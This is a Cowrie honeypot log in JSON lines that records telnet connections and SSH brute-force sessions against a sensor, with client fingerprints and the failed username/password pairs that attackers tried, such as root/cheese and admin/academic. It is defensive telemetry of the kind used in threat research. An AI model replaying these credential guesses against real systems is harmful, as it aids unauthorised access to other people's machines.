{"eventid":"cowrie.session.closed","duration":59.738176584243774,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:48.867390Z","src_ip":"152.42.224.71","session":"dad3a1112edd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":111.01714420318604,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:33:51.517151Z","src_ip":"152.42.224.71","session":"be5277a924b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52322,"dst_ip":"10.17.0.5","dst_port":23,"session":"f230b3c95bd3","protocol":"telnet","message":"New connection: 152.42.224.71:52322 (10.17.0.5:23) [session: f230b3c95bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:08.186559Z"}
{"eventid":"cowrie.session.closed","duration":89.1517915725708,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:10.562130Z","src_ip":"152.42.224.71","session":"93482451715a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52328,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bbf4da653c1","protocol":"telnet","message":"New connection: 152.42.224.71:52328 (10.17.0.5:23) [session: 1bbf4da653c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:15.703660Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39772,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d0aad99a17","protocol":"telnet","message":"New connection: 152.42.224.71:39772 (10.17.0.5:23) [session: 27d0aad99a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:16.529679Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39784,"dst_ip":"10.17.0.5","dst_port":23,"session":"3294dbd0a618","protocol":"telnet","message":"New connection: 152.42.224.71:39784 (10.17.0.5:23) [session: 3294dbd0a618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:17.486492Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39798,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b9fd4a17ef1","protocol":"telnet","message":"New connection: 152.42.224.71:39798 (10.17.0.5:23) [session: 4b9fd4a17ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:19.664868Z"}
{"eventid":"cowrie.session.closed","duration":102.82909750938416,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:22.067933Z","src_ip":"152.42.224.71","session":"ed04508a1cbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.216315031051636,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:23.038546Z","src_ip":"152.42.224.71","session":"54e8cd165475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00590300559998,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:31.205680Z","src_ip":"152.42.224.71","session":"fe5dec0f34d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60454,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f005edf12e","protocol":"telnet","message":"New connection: 152.42.224.71:60454 (10.17.0.5:23) [session: a6f005edf12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:33.020934Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25151,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dbb7989b887","protocol":"ssh","message":"New connection: 2.57.121.112:25151 (10.17.0.5:22) [session: 2dbb7989b887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:34.733321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:34.738528Z","src_ip":"2.57.121.112","session":"2dbb7989b887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:34.842829Z","src_ip":"2.57.121.112","session":"2dbb7989b887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"addams","message":"login attempt [admin/addams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:35.331166Z","src_ip":"2.57.121.112","session":"2dbb7989b887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"accident","message":"login attempt [admin/accident] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:36.437847Z","src_ip":"2.57.121.112","session":"2dbb7989b887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"acces","message":"login attempt [admin/acces] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:37.544321Z","src_ip":"2.57.121.112","session":"2dbb7989b887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.381101369857788,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:37.910682Z","src_ip":"152.42.224.71","session":"27d0aad99a17","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"academic","message":"login attempt [admin/academic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:38.650089Z","src_ip":"2.57.121.112","session":"2dbb7989b887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abercrom","message":"login attempt [admin/abercrom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:39.757105Z","src_ip":"2.57.121.112","session":"2dbb7989b887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:40.863225Z","src_ip":"2.57.121.112","session":"2dbb7989b887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40592,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d70cabb99fa","protocol":"telnet","message":"New connection: 152.42.224.71:40592 (10.17.0.5:23) [session: 9d70cabb99fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:43.966471Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":5470,"dst_ip":"10.17.0.5","dst_port":22,"session":"743fc5a5ccd0","protocol":"ssh","message":"New connection: 2.57.121.25:5470 (10.17.0.5:22) [session: 743fc5a5ccd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:44.312865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:44.317121Z","src_ip":"2.57.121.25","session":"743fc5a5ccd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:44.422587Z","src_ip":"2.57.121.25","session":"743fc5a5ccd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21081992","message":"login attempt [user/21081992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:44.918340Z","src_ip":"2.57.121.25","session":"743fc5a5ccd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"210690","message":"login attempt [user/210690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:46.027709Z","src_ip":"2.57.121.25","session":"743fc5a5ccd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"210685","message":"login attempt [user/210685] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:47.136617Z","src_ip":"2.57.121.25","session":"743fc5a5ccd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21061981","message":"login attempt [user/21061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:48.245255Z","src_ip":"2.57.121.25","session":"743fc5a5ccd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21031979","message":"login attempt [user/21031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:49.353231Z","src_ip":"2.57.121.25","session":"743fc5a5ccd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:50.462085Z","src_ip":"2.57.121.25","session":"743fc5a5ccd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":57486,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7af86447ea2","protocol":"ssh","message":"New connection: 103.183.114.55:57486 (159.203.135.109:22) [session: b7af86447ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:52.287952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:52.292541Z","src_ip":"103.183.114.55","session":"b7af86447ea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:52.512262Z","src_ip":"103.183.114.55","session":"b7af86447ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11223344q","message":"login attempt [root/11223344q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:53.176602Z","src_ip":"103.183.114.55","session":"b7af86447ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:54.397033Z","src_ip":"103.183.114.55","session":"b7af86447ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42184,"dst_ip":"10.17.0.5","dst_port":23,"session":"07447ddf0d36","protocol":"telnet","message":"New connection: 152.42.224.71:42184 (10.17.0.5:23) [session: 07447ddf0d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:56.054818Z"}
{"eventid":"cowrie.session.closed","duration":41.98179745674133,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:57.685334Z","src_ip":"152.42.224.71","session":"1bbf4da653c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":10976,"dst_ip":"159.203.135.109","dst_port":22,"session":"f661b37bdff5","protocol":"ssh","message":"New connection: 38.93.206.2:10976 (159.203.135.109:22) [session: f661b37bdff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:58.139680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:58.143668Z","src_ip":"38.93.206.2","session":"f661b37bdff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:58.193761Z","src_ip":"38.93.206.2","session":"f661b37bdff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cheese","message":"login attempt [root/cheese] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:58.355661Z","src_ip":"38.93.206.2","session":"f661b37bdff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.979721546173096,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:59.166186Z","src_ip":"152.42.224.71","session":"f230b3c95bd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:59.409520Z","src_ip":"38.93.206.2","session":"f661b37bdff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42188,"dst_ip":"10.17.0.5","dst_port":23,"session":"32453ce26046","protocol":"telnet","message":"New connection: 152.42.224.71:42188 (10.17.0.5:23) [session: 32453ce26046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:34:59.502933Z"}
{"eventid":"cowrie.session.closed","duration":59.519092321395874,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:17.005476Z","src_ip":"152.42.224.71","session":"3294dbd0a618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.08215618133545,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:19.746932Z","src_ip":"152.42.224.71","session":"4b9fd4a17ef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58142,"dst_ip":"10.17.0.5","dst_port":23,"session":"784bf7f7aec8","protocol":"telnet","message":"New connection: 152.42.224.71:58142 (10.17.0.5:23) [session: 784bf7f7aec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:21.016498Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52392,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4a3a599f7d5","protocol":"telnet","message":"New connection: 152.42.224.71:52392 (10.17.0.5:23) [session: a4a3a599f7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:30.199409Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52400,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd440b6bcbb3","protocol":"telnet","message":"New connection: 152.42.224.71:52400 (10.17.0.5:23) [session: bd440b6bcbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:31.788595Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52412,"dst_ip":"10.17.0.5","dst_port":23,"session":"69e5ceec83a0","protocol":"telnet","message":"New connection: 152.42.224.71:52412 (10.17.0.5:23) [session: 69e5ceec83a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:35.670790Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":39326,"dst_ip":"10.17.0.5","dst_port":22,"session":"b389ad3ac348","protocol":"ssh","message":"New connection: 94.159.98.239:39326 (10.17.0.5:22) [session: b389ad3ac348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:38.086328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:38.095126Z","src_ip":"94.159.98.239","session":"b389ad3ac348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:38.220618Z","src_ip":"94.159.98.239","session":"b389ad3ac348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica","message":"login attempt [root/monica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:39.067382Z","src_ip":"94.159.98.239","session":"b389ad3ac348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:40.283997Z","src_ip":"94.159.98.239","session":"b389ad3ac348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00201559066772,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:41.571706Z","src_ip":"152.42.224.71","session":"8f34e349f905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.06040835380554,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:43.563222Z","src_ip":"152.42.224.71","session":"32453ce26046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51614,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f0ab549cd58","protocol":"telnet","message":"New connection: 152.42.224.71:51614 (10.17.0.5:23) [session: 7f0ab549cd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:35:43.851441Z"}
